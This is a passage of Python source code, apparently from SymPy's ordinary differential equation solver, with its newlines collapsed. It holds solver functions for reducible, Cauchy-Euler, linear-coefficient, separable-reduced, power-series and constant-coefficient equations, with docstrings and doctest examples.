dsolve(eq, f(x), hint='nth_order_reducible') ... # doctest: +NORMALIZE_WHITESPACE Eq(f(x), C1 - sqrt(-1/C2)*log(-C2*sqrt(-1/C2) + x) + sqrt(-1/C2)*log(C2*sqrt(-1/C2) + x)) """ x = func.args[0] f = func.func n = match['n'] # get a unique function name for g names = [a.name for a in eq.atoms(AppliedUndef)] while True: name = Dummy().name if name not in names: g = Function(name) break w = f(x).diff(x, n) geq = eq.subs(w, g(x)) gsol = dsolve(geq, g(x)) if not isinstance(gsol, list): gsol = [gsol] # Might be multiple solutions to the reduced ODE: fsol = [] for gsoli in gsol: fsoli = dsolve(gsoli.subs(g(x), w), f(x)) # or do integration n times fsol.append(fsoli) if len(fsol) == 1: fsol = fsol[0] return fsol def _remove_redundant_solutions(eq, solns, order, var): r""" Remove redundant solutions from the set of solutions. This function is needed because otherwise dsolve can return redundant solutions. As an example consider: eq = Eq((f(x).diff(x, 2))*f(x).diff(x), 0) There are two ways to find solutions to eq. The first is to solve f(x).diff(x, 2) = 0 leading to solution f(x)=C1 + C2*x. The second is to solve the equation f(x).diff(x) = 0 leading to the solution f(x) = C1. In this particular case we then see that the second solution is a special case of the first and we don't want to return it. This does not always happen. If we have eq = Eq((f(x)**2-4)*(f(x).diff(x)-4), 0) then we get the algebraic solution f(x) = [-2, 2] and the integral solution f(x) = x + C1 and in this case the two solutions are not equivalent wrt initial conditions so both should be returned. """ def is_special_case_of(soln1, soln2): return _is_special_case_of(soln1, soln2, eq, order, var) unique_solns = [] for soln1 in solns: for soln2 in unique_solns[:]: if is_special_case_of(soln1, soln2): break elif is_special_case_of(soln2, soln1): unique_solns.remove(soln2) else: unique_solns.append(soln1) return unique_solns def _is_special_case_of(soln1, soln2, eq, order, var): r""" True if soln1 is found to be a special case of soln2 wrt some value of the constants that appear in soln2. False otherwise. """ # The solutions returned by dsolve may be given explicitly or implicitly. # We will equate the sol1=(soln1.rhs - soln1.lhs), sol2=(soln2.rhs - soln2.lhs) # of the two solutions. # # Since this is supposed to hold for all x it also holds for derivatives. # For an order n ode we should be able to differentiate # each solution n times to get n+1 equations. # # We then try to solve those n+1 equations for the integrations constants # in sol2. If we can find a solution that doesn't depend on x then it # means that some value of the constants in sol1 is a special case of # sol2 corresponding to a particular choice of the integration constants. # In case the solution is in implicit form we subtract the sides soln1 = soln1.rhs - soln1.lhs soln2 = soln2.rhs - soln2.lhs # Work for the series solution if soln1.has(Order) and soln2.has(Order): if soln1.getO() == soln2.getO(): soln1 = soln1.removeO() soln2 = soln2.removeO() else: return False elif soln1.has(Order) or soln2.has(Order): return False constants1 = soln1.free_symbols.difference(eq.free_symbols) constants2 = soln2.free_symbols.difference(eq.free_symbols) constants1_new = get_numbered_constants(Tuple(soln1, soln2), len(constants1)) if len(constants1) == 1: constants1_new = {constants1_new} for c_old, c_new in zip(constants1, constants1_new): soln1 = soln1.subs(c_old, c_new) # n equations for sol1 = sol2, sol1'=sol2', ... lhs = soln1 rhs = soln2 eqns = [Eq(lhs, rhs)] for n in range(1, order): lhs = lhs.diff(var) rhs = rhs.diff(var) eq = Eq(lhs, rhs) eqns.append(eq) # BooleanTrue/False awkwardly show up for trivial equations if any(isinstance(eq, BooleanFalse) for eq in eqns): return False eqns = [eq for eq in eqns if not isinstance(eq, BooleanTrue)] try: constant_solns = solve(eqns, constants2) except NotImplementedError: return False # Sometimes returns a dict and sometimes a list of dicts if isinstance(constant_solns, dict): constant_solns = [constant_solns] # after solving the issue 17418, maybe we don't need the following checksol code. for constant_soln in constant_solns: for eq in eqns: eq=eq.rhs-eq.lhs if checksol(eq, constant_soln) is not True: return False # If any solution gives all constants as expressions that don't depend on # x then there exists constants for soln2 that give soln1 for constant_soln in constant_solns: if not any(c.has(var) for c in constant_soln.values()): return True return False def _nth_linear_match(eq, func, order): r""" Matches a differential equation to the linear form: .. math:: a_n(x) y^{(n)} + \cdots + a_1(x)y' + a_0(x) y + B(x) = 0 Returns a dict of order:coeff terms, where order is the order of the derivative on each term, and coeff is the coefficient of that derivative. The key ``-1`` holds the function `B(x)`. Returns ``None`` if the ODE is not linear. This function assumes that ``func`` has already been checked to be good. Examples ======== >>> from sympy import Function, cos, sin >>> from sympy.abc import x >>> from sympy.solvers.ode.ode import _nth_linear_match >>> f = Function('f') >>> _nth_linear_match(f(x).diff(x, 3) + 2*f(x).diff(x) + ... x*f(x).diff(x, 2) + cos(x)*f(x).diff(x) + x - f(x) - ... sin(x), f(x), 3) {-1: x - sin(x), 0: -1, 1: cos(x) + 2, 2: x, 3: 1} >>> _nth_linear_match(f(x).diff(x, 3) + 2*f(x).diff(x) + ... x*f(x).diff(x, 2) + cos(x)*f(x).diff(x) + x - f(x) - ... sin(f(x)), f(x), 3) == None True """ x = func.args[0] one_x = {x} terms = {i: S.Zero for i in range(-1, order + 1)} for i in Add.make_args(eq): if not i.has(func): terms[-1] += i else: c, f = i.as_independent(func) if (isinstance(f, Derivative) and set(f.variables) == one_x and f.args[0] == func): terms[f.derivative_count] += c elif f == func: terms[len(f.args[1:])] += c else: return None return terms def ode_nth_linear_euler_eq_homogeneous(eq, func, order, match, returns='sol'): r""" Solves an `n`\th order linear homogeneous variable-coefficient Cauchy-Euler equidimensional ordinary differential equation. This is an equation with form `0 = a_0 f(x) + a_1 x f'(x) + a_2 x^2 f''(x) \cdots`. These equations can be solved in a general manner, by substituting solutions of the form `f(x) = x^r`, and deriving a characteristic equation for `r`. When there are repeated roots, we include extra terms of the form `C_{r k} \ln^k(x) x^r`, where `C_{r k}` is an arbitrary integration constant, `r` is a root of the characteristic equation, and `k` ranges over the multiplicity of `r`. In the cases where the roots are complex, solutions of the form `C_1 x^a \sin(b \log(x)) + C_2 x^a \cos(b \log(x))` are returned, based on expansions with Euler's formula. The general solution is the sum of the terms found. If SymPy cannot find exact roots to the characteristic equation, a :py:obj:`~.ComplexRootOf` instance will be returned instead. >>> from sympy import Function, dsolve >>> from sympy.abc import x >>> f = Function('f') >>> dsolve(4*x**2*f(x).diff(x, 2) + f(x), f(x), ... hint='nth_linear_euler_eq_homogeneous') ... # doctest: +NORMALIZE_WHITESPACE Eq(f(x), sqrt(x)*(C1 + C2*log(x))) Note that because this method does not involve integration, there is no ``nth_linear_euler_eq_homogeneous_Integral`` hint. The following is for internal use: - ``returns = 'sol'`` returns the solution to the ODE. - ``returns = 'list'`` returns a list of linearly independent solutions, corresponding to the fundamental solution set, for use with non homogeneous solution methods like variation of parameters and undetermined coefficients. Note that, though the solutions should be linearly independent, this function does not explicitly check that. You can do ``assert simplify(wronskian(sollist)) != 0`` to check for linear independence. Also, ``assert len(sollist) == order`` will need to pass. - ``returns = 'both'``, return a dictionary ``{'sol': <solution to ODE>, 'list': <list of linearly independent solutions>}``. Examples ======== >>> from sympy import Function, dsolve, pprint >>> from sympy.abc import x >>> f = Function('f') >>> eq = f(x).diff(x, 2)*x**2 - 4*f(x).diff(x)*x + 6*f(x) >>> pprint(dsolve(eq, f(x), ... hint='nth_linear_euler_eq_homogeneous')) 2 f(x) = x *(C1 + C2*x) References ========== - https://en.wikipedia.org/wiki/Cauchy%E2%80%93Euler_equation - C. Bender & S. Orszag, "Advanced Mathematical Methods for Scientists and Engineers", Springer 1999, pp. 12 # indirect doctest """ # XXX: This global collectterms hack should be removed. global collectterms collectterms = [] x = func.args[0] f = func.func r = match # First, set up characteristic equation. chareq, symbol = S.Zero, Dummy('x') for i in r.keys(): if not isinstance(i, str) and i >= 0: chareq += (r[i]*diff(x**symbol, x, i)*x**-symbol).expand() chareq = Poly(chareq, symbol) chareqroots = [rootof(chareq, k) for k in range(chareq.degree())] # A generator of constants constants = list(get_numbered_constants(eq, num=chareq.degree()*2)) constants.reverse() # Create a dict root: multiplicity or charroots charroots = defaultdict(int) for root in chareqroots: charroots[root] += 1 gsol = S.Zero # We need keep track of terms so we can run collect() at the end. # This is necessary for constantsimp to work properly. ln = log for root, multiplicity in charroots.items(): for i in range(multiplicity): if isinstance(root, RootOf): gsol += (x**root) * constants.pop() if multiplicity != 1: raise ValueError("Value should be 1") collectterms = [(0, root, 0)] + collectterms elif root.is_real: gsol += ln(x)**i*(x**root) * constants.pop() collectterms = [(i, root, 0)] + collectterms else: reroot = re(root) imroot = im(root) gsol += ln(x)**i * (x**reroot) * ( constants.pop() * sin(abs(imroot)*ln(x)) + constants.pop() * cos(imroot*ln(x))) # Preserve ordering (multiplicity, real part, imaginary part) # It will be assumed implicitly when constructing # fundamental solution sets. collectterms = [(i, reroot, imroot)] + collectterms if returns == 'sol': return Eq(f(x), gsol) elif returns in ('list' 'both'): # HOW TO TEST THIS CODE? (dsolve does not pass 'returns' through) # Create a list of (hopefully) linearly independent solutions gensols = [] # Keep track of when to use sin or cos for nonzero imroot for i, reroot, imroot in collectterms: if imroot == 0: gensols.append(ln(x)**i*x**reroot) else: sin_form = ln(x)**i*x**reroot*sin(abs(imroot)*ln(x)) if sin_form in gensols: cos_form = ln(x)**i*x**reroot*cos(imroot*ln(x)) gensols.append(cos_form) else: gensols.append(sin_form) if returns == 'list': return gensols else: return {'sol': Eq(f(x), gsol), 'list': gensols} else: raise ValueError('Unknown value for key "returns".') def ode_nth_linear_euler_eq_nonhomogeneous_undetermined_coefficients(eq, func, order, match, returns='sol'): r""" Solves an `n`\th order linear non homogeneous Cauchy-Euler equidimensional ordinary differential equation using undetermined coefficients. This is an equation with form `g(x) = a_0 f(x) + a_1 x f'(x) + a_2 x^2 f''(x) \cdots`. These equations can be solved in a general manner, by substituting solutions of the form `x = exp(t)`, and deriving a characteristic equation of form `g(exp(t)) = b_0 f(t) + b_1 f'(t) + b_2 f''(t) \cdots` which can be then solved by nth_linear_constant_coeff_undetermined_coefficients if g(exp(t)) has finite number of linearly independent derivatives. Functions that fit this requirement are finite sums functions of the form `a x^i e^{b x} \sin(c x + d)` or `a x^i e^{b x} \cos(c x + d)`, where `i` is a non-negative integer and `a`, `b`, `c`, and `d` are constants. For example any polynomial in `x`, functions like `x^2 e^{2 x}`, `x \sin(x)`, and `e^x \cos(x)` can all be used. Products of `\sin`'s and `\cos`'s have a finite number of derivatives, because they can be expanded into `\sin(a x)` and `\cos(b x)` terms. However, SymPy currently cannot do that expansion, so you will need to manually rewrite the expression in terms of the above to use this method. So, for example, you will need to manually convert `\sin^2(x)` into `(1 + \cos(2 x))/2` to properly apply the method of undetermined coefficients on it. After replacement of x by exp(t), this method works by creating a trial function from the expression and all of its linear independent derivatives and substituting them into the original ODE. The coefficients for each term will be a system of linear equations, which are be solved for and substituted, giving the solution. If any of the trial functions are linearly dependent on the solution to the homogeneous equation, they are multiplied by sufficient `x` to make them linearly independent. Examples ======== >>> from sympy import dsolve, Function, Derivative, log >>> from sympy.abc import x >>> f = Function('f') >>> eq = x**2*Derivative(f(x), x, x) - 2*x*Derivative(f(x), x) + 2*f(x) - log(x) >>> dsolve(eq, f(x), ... hint='nth_linear_euler_eq_nonhomogeneous_undetermined_coefficients').expand() Eq(f(x), C1*x + C2*x**2 + log(x)/2 + 3/4) """ x = func.args[0] f = func.func r = match chareq, eq, symbol = S.Zero, S.Zero, Dummy('x') for i in r.keys(): if not isinstance(i, str) and i >= 0: chareq += (r[i]*diff(x**symbol, x, i)*x**-symbol).expand() for i in range(1,degree(Poly(chareq, symbol))+1): eq += chareq.coeff(symbol**i)*diff(f(x), x, i) if chareq.as_coeff_add(symbol)[0]: eq += chareq.as_coeff_add(symbol)[0]*f(x) e, re = posify(r[-1].subs(x, exp(x))) eq += e.subs(re) match = _nth_linear_match(eq, f(x), ode_order(eq, f(x))) eq_homogeneous = Add(eq,-match[-1]) match['trialset'] = _undetermined_coefficients_match(match[-1], x, func, eq_homogeneous)['trialset'] return ode_nth_linear_constant_coeff_undetermined_coefficients(eq, func, order, match).subs(x, log(x)).subs(f(log(x)), f(x)).expand() def ode_nth_linear_euler_eq_nonhomogeneous_variation_of_parameters(eq, func, order, match, returns='sol'): r""" Solves an `n`\th order linear non homogeneous Cauchy-Euler equidimensional ordinary differential equation using variation of parameters. This is an equation with form `g(x) = a_0 f(x) + a_1 x f'(x) + a_2 x^2 f''(x) \cdots`. This method works by assuming that the particular solution takes the form .. math:: \sum_{x=1}^{n} c_i(x) y_i(x) {a_n} {x^n} \text{,} where `y_i` is the `i`\th solution to the homogeneous equation. The solution is then solved using Wronskian's and Cramer's Rule. The particular solution is given by multiplying eq given below with `a_n x^{n}` .. math:: \sum_{x=1}^n \left( \int \frac{W_i(x)}{W(x)} \,dx \right) y_i(x) \text{,} where `W(x)` is the Wronskian of the fundamental system (the system of `n` linearly independent solutions to the homogeneous equation), and `W_i(x)` is the Wronskian of the fundamental system with the `i`\th column replaced with `[0, 0, \cdots, 0, \frac{x^{- n}}{a_n} g{\left(x \right)}]`. This method is general enough to solve any `n`\th order inhomogeneous linear differential equation, but sometimes SymPy cannot simplify the Wronskian well enough to integrate it. If this method hangs, try using the ``nth_linear_constant_coeff_variation_of_parameters_Integral`` hint and simplifying the integrals manually. Also, prefer using ``nth_linear_constant_coeff_undetermined_coefficients`` when it applies, because it doesn't use integration, making it faster and more reliable. Warning, using simplify=False with 'nth_linear_constant_coeff_variation_of_parameters' in :py:meth:`~sympy.solvers.ode.dsolve` may cause it to hang, because it will not attempt to simplify the Wronskian before integrating. It is recommended that you only use simplify=False with 'nth_linear_constant_coeff_variation_of_parameters_Integral' for this method, especially if the solution to the homogeneous equation has trigonometric functions in it. Examples ======== >>> from sympy import Function, dsolve, Derivative >>> from sympy.abc import x >>> f = Function('f') >>> eq = x**2*Derivative(f(x), x, x) - 2*x*Derivative(f(x), x) + 2*f(x) - x**4 >>> dsolve(eq, f(x), ... hint='nth_linear_euler_eq_nonhomogeneous_variation_of_parameters').expand() Eq(f(x), C1*x + C2*x**2 + x**4/6) """ x = func.args[0] f = func.func r = match gensol = ode_nth_linear_euler_eq_homogeneous(eq, func, order, match, returns='both') match.update(gensol) r[-1] = r[-1]/r[ode_order(eq, f(x))] sol = _solve_variation_of_parameters(eq, func, order, match) return Eq(f(x), r['sol'].rhs + (sol.rhs - r['sol'].rhs)*r[ode_order(eq, f(x))]) def _linear_coeff_match(expr, func): r""" Helper function to match hint ``linear_coefficients``. Matches the expression to the form `(a_1 x + b_1 f(x) + c_1)/(a_2 x + b_2 f(x) + c_2)` where the following conditions hold: 1. `a_1`, `b_1`, `c_1`, `a_2`, `b_2`, `c_2` are Rationals; 2. `c_1` or `c_2` are not equal to zero; 3. `a_2 b_1 - a_1 b_2` is not equal to zero. Return ``xarg``, ``yarg`` where 1. ``xarg`` = `(b_2 c_1 - b_1 c_2)/(a_2 b_1 - a_1 b_2)` 2. ``yarg`` = `(a_1 c_2 - a_2 c_1)/(a_2 b_1 - a_1 b_2)` Examples ======== >>> from sympy import Function >>> from sympy.abc import x >>> from sympy.solvers.ode.ode import _linear_coeff_match >>> from sympy.functions.elementary.trigonometric import sin >>> f = Function('f') >>> _linear_coeff_match(( ... (-25*f(x) - 8*x + 62)/(4*f(x) + 11*x - 11)), f(x)) (1/9, 22/9) >>> _linear_coeff_match( ... sin((-5*f(x) - 8*x + 6)/(4*f(x) + x - 1)), f(x)) (19/27, 2/27) >>> _linear_coeff_match(sin(f(x)/x), f(x)) """ f = func.func x = func.args[0] def abc(eq): r''' Internal function of _linear_coeff_match that returns Rationals a, b, c if eq is a*x + b*f(x) + c, else None. ''' eq = _mexpand(eq) c = eq.as_independent(x, f(x), as_Add=True)[0] if not c.is_Rational: return a = eq.coeff(x) if not a.is_Rational: return b = eq.coeff(f(x)) if not b.is_Rational: return if eq == a*x + b*f(x) + c: return a, b, c def match(arg): r''' Internal function of _linear_coeff_match that returns Rationals a1, b1, c1, a2, b2, c2 and a2*b1 - a1*b2 of the expression (a1*x + b1*f(x) + c1)/(a2*x + b2*f(x) + c2) if one of c1 or c2 and a2*b1 - a1*b2 is non-zero, else None. ''' n, d = arg.together().as_numer_denom() m = abc(n) if m is not None: a1, b1, c1 = m m = abc(d) if m is not None: a2, b2, c2 = m d = a2*b1 - a1*b2 if (c1 or c2) and d: return a1, b1, c1, a2, b2, c2, d m = [fi.args[0] for fi in expr.atoms(Function) if fi.func != f and len(fi.args) == 1 and not fi.args[0].is_Function] or {expr} m1 = match(m.pop()) if m1 and all(match(mi) == m1 for mi in m): a1, b1, c1, a2, b2, c2, denom = m1 return (b2*c1 - b1*c2)/denom, (a1*c2 - a2*c1)/denom def ode_linear_coefficients(eq, func, order, match): r""" Solves a differential equation with linear coefficients. The general form of a differential equation with linear coefficients is .. math:: y' + F\left(\!\frac{a_1 x + b_1 y + c_1}{a_2 x + b_2 y + c_2}\!\right) = 0\text{,} where `a_1`, `b_1`, `c_1`, `a_2`, `b_2`, `c_2` are constants and `a_1 b_2 - a_2 b_1 \ne 0`. This can be solved by substituting: .. math:: x = x' + \frac{b_2 c_1 - b_1 c_2}{a_2 b_1 - a_1 b_2} y = y' + \frac{a_1 c_2 - a_2 c_1}{a_2 b_1 - a_1 b_2}\text{.} This substitution reduces the equation to a homogeneous differential equation. See Also ======== :meth:`sympy.solvers.ode.ode.ode_1st_homogeneous_coeff_best` :meth:`sympy.solvers.ode.ode.ode_1st_homogeneous_coeff_subs_indep_div_dep` :meth:`sympy.solvers.ode.ode.ode_1st_homogeneous_coeff_subs_dep_div_indep` Examples ======== >>> from sympy import Function, pprint >>> from sympy.solvers.ode.ode import dsolve >>> from sympy.abc import x >>> f = Function('f') >>> df = f(x).diff(x) >>> eq = (x + f(x) + 1)*df + (f(x) - 6*x + 1) >>> dsolve(eq, hint='linear_coefficients') [Eq(f(x), -x - sqrt(C1 + 7*x**2) - 1), Eq(f(x), -x + sqrt(C1 + 7*x**2) - 1)] >>> pprint(dsolve(eq, hint='linear_coefficients')) ___________ ___________ / 2 / 2 [f(x) = -x - \/ C1 + 7*x - 1, f(x) = -x + \/ C1 + 7*x - 1] References ========== - Joel Moses, "Symbolic Integration - The Stormy Decade", Communications of the ACM, Volume 14, Number 8, August 1971, pp. 558 """ return ode_1st_homogeneous_coeff_best(eq, func, order, match) def ode_separable_reduced(eq, func, order, match): r""" Solves a differential equation that can be reduced to the separable form. The general form of this equation is .. math:: y' + (y/x) H(x^n y) = 0\text{}. This can be solved by substituting `u(y) = x^n y`. The equation then reduces to the separable form `\frac{u'}{u (\mathrm{power} - H(u))} - \frac{1}{x} = 0`. The general solution is: >>> from sympy import Function, dsolve, pprint >>> from sympy.abc import x, n >>> f, g = map(Function, ['f', 'g']) >>> genform = f(x).diff(x) + (f(x)/x)*g(x**n*f(x)) >>> pprint(genform) / n \ d f(x)*g\x *f(x)/ --(f(x)) + --------------- dx x >>> pprint(dsolve(genform, hint='separable_reduced')) n x *f(x) / | | 1 | ------------ dy = C1 + log(x) | y*(n - g(y)) | / See Also ======== :meth:`sympy.solvers.ode.ode.ode_separable` Examples ======== >>> from sympy import Function, pprint >>> from sympy.solvers.ode.ode import dsolve >>> from sympy.abc import x >>> f = Function('f') >>> d = f(x).diff(x) >>> eq = (x - x**2*f(x))*d - f(x) >>> dsolve(eq, hint='separable_reduced') [Eq(f(x), (1 - sqrt(C1*x**2 + 1))/x), Eq(f(x), (sqrt(C1*x**2 + 1) + 1)/x)] >>> pprint(dsolve(eq, hint='separable_reduced')) ___________ ___________ / 2 / 2 1 - \/ C1*x + 1 \/ C1*x + 1 + 1 [f(x) = ------------------, f(x) = ------------------] x x References ========== - Joel Moses, "Symbolic Integration - The Stormy Decade", Communications of the ACM, Volume 14, Number 8, August 1971, pp. 558 """ # Arguments are passed in a way so that they are coherent with the # ode_separable function x = func.args[0] f = func.func y = Dummy('y') u = match['u'].subs(match['t'], y) ycoeff = 1/(y*(match['power'] - u)) m1 = {y: 1, x: -1/x, 'coeff': 1} m2 = {y: ycoeff, x: 1, 'coeff': 1} r = {'m1': m1, 'm2': m2, 'y': y, 'hint': x**match['power']*f(x)} return ode_separable(eq, func, order, r) def ode_1st_power_series(eq, func, order, match): r""" The power series solution is a method which gives the Taylor series expansion to the solution of a differential equation. For a first order differential equation `\frac{dy}{dx} = h(x, y)`, a power series solution exists at a point `x = x_{0}` if `h(x, y)` is analytic at `x_{0}`. The solution is given by .. math:: y(x) = y(x_{0}) + \sum_{n = 1}^{\infty} \frac{F_{n}(x_{0},b)(x - x_{0})^n}{n!}, where `y(x_{0}) = b` is the value of y at the initial value of `x_{0}`. To compute the values of the `F_{n}(x_{0},b)` the following algorithm is followed, until the required number of terms are generated. 1. `F_1 = h(x_{0}, b)` 2. `F_{n+1} = \frac{\partial F_{n}}{\partial x} + \frac{\partial F_{n}}{\partial y}F_{1}` Examples ======== >>> from sympy import Function, pprint, exp >>> from sympy.solvers.ode.ode import dsolve >>> from sympy.abc import x >>> f = Function('f') >>> eq = exp(x)*(f(x).diff(x)) - f(x) >>> pprint(dsolve(eq, hint='1st_power_series')) 3 4 5 C1*x C1*x C1*x / 6\ f(x) = C1 + C1*x - ----- + ----- + ----- + O\x / 6 24 60 References ========== - Travis W. Walker, Analytic power series technique for solving first-order differential equations, p.p 17, 18 """ x = func.args[0] y = match['y'] f = func.func h = -match[match['d']]/match[match['e']] point = match.get('f0') value = match.get('f0val') terms = match.get('terms') # First term F = h if not h: return Eq(f(x), value) # Initialization series = value if terms > 1: hc = h.subs({x: point, y: value}) if hc.has(oo) or hc.has(NaN) or hc.has(zoo): # Derivative does not exist, not analytic return Eq(f(x), oo) elif hc: series += hc*(x - point) for factcount in range(2, terms): Fnew = F.diff(x) + F.diff(y)*h Fnewc = Fnew.subs({x: point, y: value}) # Same logic as above if Fnewc.has(oo) or Fnewc.has(NaN) or Fnewc.has(-oo) or Fnewc.has(zoo): return Eq(f(x), oo) series += Fnewc*((x - point)**factcount)/factorial(factcount) F = Fnew series += Order(x**terms) return Eq(f(x), series) def ode_nth_linear_constant_coeff_homogeneous(eq, func, order, match, returns='sol'): r""" Solves an `n`\th order linear homogeneous differential equation with constant coefficients. This is an equation of the form .. math:: a_n f^{(n)}(x) + a_{n-1} f^{(n-1)}(x) + \cdots + a_1 f'(x) + a_0 f(x) = 0\text{.} These equations can be solved in a general manner, by taking the roots of the characteristic equation `a_n m^n + a_{n-1} m^{n-1} + \cdots + a_1 m + a_0 = 0`. The solution will then be the sum of `C_n x^i e^{r x}` terms, for each where `C_n` is an arbitrary constant, `r` is a root of the characteristic equation and `i` is one of each from 0 to the multiplicity of the root - 1 (for example, a root 3 of multiplicity 2 would create the terms `C_1 e^{3 x} + C_2 x e^{3 x}`). The exponential is usually expanded for complex roots using Euler's equation `e^{I x} = \cos(x) + I \sin(x)`. Complex roots always come in conjugate pairs in polynomials with real coefficients, so the two roots will be represented (after simplifying the constants) as `e^{a x} \left(C_1 \cos(b x) + C_2 \sin(b x)\right)`. If SymPy cannot find exact roots to the characteristic equation, a :py:class:`~sympy.polys.rootoftools.ComplexRootOf` instance will be return instead. >>> from sympy import Function, dsolve >>> from sympy.abc import x >>> f = Function('f') >>> dsolve(f(x).diff(x, 5) + 10*f(x).diff(x) - 2*f(x), f(x), ... hint='nth_linear_constant_coeff_homogeneous') ... # doctest: +NORMALIZE_WHITESPACE Eq(f(x), C5*exp(x*CRootOf(_x**5 + 10*_x - 2, 0)) + (C1*sin(x*im(CRootOf(_x**5 + 10*_x - 2, 1))) + C2*cos(x*im(CRootOf(_x**5 + 10*_x - 2, 1))))*exp(x*re(CRootOf(_x**5 + 10*_x - 2, 1))) + (C3*sin(x*im(CRootOf(_x**5 + 10*_x - 2, 3))) + C4*cos(x*im(CRootOf(_x**5 + 10*_x - 2, 3))))*exp(x*re(CRootOf(_x**5 + 10*_x - 2, 3)))) Note that because this method does not involve integration, there is no ``nth_linear_constant_coeff_homogeneous_Integral`` hint. The following is for internal use: - ``returns = 'sol'`` returns the solution to the ODE. - ``returns = 'list'`` returns a list of linearly independent solutions, for use with non homogeneous solution methods like variation of parameters and undetermined coefficients. Note that, though the solutions should be linearly independent, this function does not explicitly check that. You can do ``assert simplify(wronskian(sollist)) != 0`` to check for linear independence. Also, ``assert len(sollist) == order`` will need to pass. - ``returns = 'both'``, return a dictionary ``{'sol': <solution to ODE>, 'list': <list of linearly independent solutions>}``. Examples ======== >>> from sympy import Function, dsolve, pprint >>> from sympy.abc import x >>> f = Function('f') >>> pprint(dsolve(f(x).diff(x, 4) + 2*f(x).diff(x, 3) - ... 2*f(x).diff(x, 2) - 6*f(x).diff(x) + 5*f(x), f(x), ... hint='nth_linear_constant_coeff_homogeneous')) x -2*x f(x) = (C1 + C2*x)*e + (C3*sin(x) + C4*cos(x))*e References ========== - https://en.wikipedia.org/wiki/Linear_differential_equation section: Nonhomogeneous_equation_with_constant_coefficients - M. Tenenbaum & H. Pollard, "Ordinary Differential Equations", Dover 1963, pp. 211 # indirect doctest """ x = func.args[0] f = func.func r = match # First, set up characteristic equation. chareq, symbol = S.Zero, Dummy('x') for i in r.keys(): if type(i) == str or i < 0: pass else: chareq += r[i]*symbol**i chareq = Poly(chareq, symbol) # Can't just call roots because it doesn't return rootof for unsolveable # polynomials. chareqroots = roots(chareq, multiple=True) if len(chareqroots) != order: chareqroots = [rootof(chareq, k) for k in range(chareq.degree())] chareq_is_complex = not all([i.is_real for i in chareq.all_coeffs()]) # A generator of constants constants = list(get_numbered_constants(eq, num=chareq.degree()*2)) # Create a dict root: multiplicity or charroots charroots = defaultdict(int) for root in chareqroots: charroots[root] += 1 # We need to keep track of terms so we can run collect() at the end. # This is necessary for constantsimp to work properly. # # XXX: This global collectterms hack should be removed. global collectterms collectterms = [] gensols = [] conjugate_roots = [] # used to prevent double-use of conjugate roots # Loop over roots in theorder provided by roots/rootof... for root in chareqroots: # but don't repoeat multiple roots. if root not in charroots: continue multiplicity = charroots.pop(root) for i in range(multiplicity): if chareq_is_complex: gensols.append(x**i*exp(root*x)) collectterms = [(i, root, 0)] + collectterms continue reroot = re(root) imroot = im(root) if imroot.has(atan2) and reroot.has(atan2): # Remove this condition when re and im stop returning # circular atan2 usages. gensols.append(x**i*exp(root*x)) collectterms = [(i, root, 0)] + collectterms else: if root in conjugate_roots: collectterms = [(i, reroot, imroot)] + collectterms continue if imroot == 0: gensols.append(x**i*exp(reroot*x)) collectterms = [(i, reroot, 0)] + collectterms continue conjugate_roots.append(conjugate(root)) gensols.append(x**i*exp(reroot*x) * sin(abs(imroot) * x)) gensols.append(x**i*exp(reroot*x) * cos( imroot * x)) # This ordering is important collectterms = [(i, reroot, imroot)] + collectterms if returns == 'list': return gensols elif returns in ('sol' 'both'): gsol = Add(*[i*j for (i, j) in zip(constants, gensols)]) if returns == 'sol': return Eq(f(x), gsol) else: return {'sol': Eq(f(x), gsol), 'list': gensols} else: raise ValueError('Unknown value for key "returns".') def ode_nth_linear_constant_coeff_undetermined_coefficients(eq, func, order, match): r""" Solves an `n`\th order linear differential equation with constant coefficients using the method of undetermined coefficients. This method works on differential equations of the form .. math:: a_n f^{(n)}(x) + a_{n-1} f^{(n-1)}(x) + \cdots + a_1 f'(x) + a_0 f(x) = P(x)\text{,} where `P(x)` is a function that has a finite number of linearly independent derivatives. Functions that fit this requirement are finite sums functions of the form `a x^i e^{b x} \sin(c x + d)` or `a x^i e^{b x} \cos(c x + d)`, where `i` is a non-negative integer and `a`, `b`, `c`, and `d` are constants. For example any polynomial in `x`, functions like `x^2 e^{2 x}`, `x \sin(x)`, and `e^x \cos(x)` can all be used. Products of `\sin`'s and `\cos`'s have a finite number of derivatives, because they can be expanded into `\sin(a x)` and `\cos(b x)` terms. However, SymPy currently cannot do that expansion, so you will need to manually rewrite the expression in terms of the above to use this method. So, for example, you will need to manually convert `\sin^2(x)` into `(1 + \cos(2 x))/2` to properly apply the method of undetermined coefficients on it. This method works by creating a trial function from the expression and all of its linear independent derivatives and substituting them into the original ODE. The coefficients for each term will be a system of linear equations, which are be solved for and substituted, giving the solution. If any of the trial functions are linearly dependent on the solution to the homogeneous equation, they are multiplied by sufficient `x` to make them linearly independent. Examples ======== >>> from sympy import Function, dsolve, pprint, exp, cos >>> from sympy.abc import x >>> f = Function('f') >>> pprint(dsolve(f(x).diff(x, 2) + 2*f(x).diff(x) + f(x) - ... 4*exp(-x)*x**2 + cos(2*x), f(x), ... hint='nth_linear_constant_coeff_undetermined_coefficients')) / / 3\\ | | x || -x 4*sin(2*x) 3*cos(2*x) f(x) = |C1 + x*|C2 + --||*e - ---------- + ---------- \ \ 3 // 25 25 References ========== - https://en.wikipedia.org/wiki/Method_of_undetermined_coefficients - M. Tenenbaum & H. Pollard, "Ordinary Differential Equations", Dover 1963, pp. 221 # indirect doctest """ gensol = ode_nth_linear_constant_coeff_homogeneous(eq, func, order, match, returns='both') match.update(gensol) return _solve_undetermined_coefficients(eq, func, order, match) def _solve_undetermined_coefficients(eq, func, order, match): r""" Helper function for the method of undetermined coefficients. See the :py:meth:`~sympy.solvers.ode.ode.ode_nth_linear_constant_coeff_undetermined_coefficients` docstring for more information on this method. The parameter ``match`` should be a dictionary that has the following keys: ``list`` A list of solutions to the homogeneous equation, such as the list returned by ``ode_nth_linear_constant_coeff_homogeneous(returns='list')``. ``sol`` The general solution, such as the solution returned by ``ode_nth_linear_constant_coeff_homogeneous(returns='sol')``. ``trialset`` The set of trial functions as returned by ``_undetermined_coefficients_match()['trialset']``. """ x = func.args[0] f = func.func r = match coeffs = numbered_symbols('a', cls=Dummy) coefflist = [] gensols = r['list'] gsol = r['sol'] trialset = r['trialset'] if len(gensols) != order: raise NotImplementedError("Cannot find " + str(order) + " solutions to the homogeneous equation necessary to apply" + " undetermined coefficients to " + str(eq) + " (number of terms != order)") trialfunc = 0 for i in trialset: c = next(coeffs) coefflist.append(c) trialfunc += c*i eqs = sub_func_doit(eq, f(x), trialfunc) 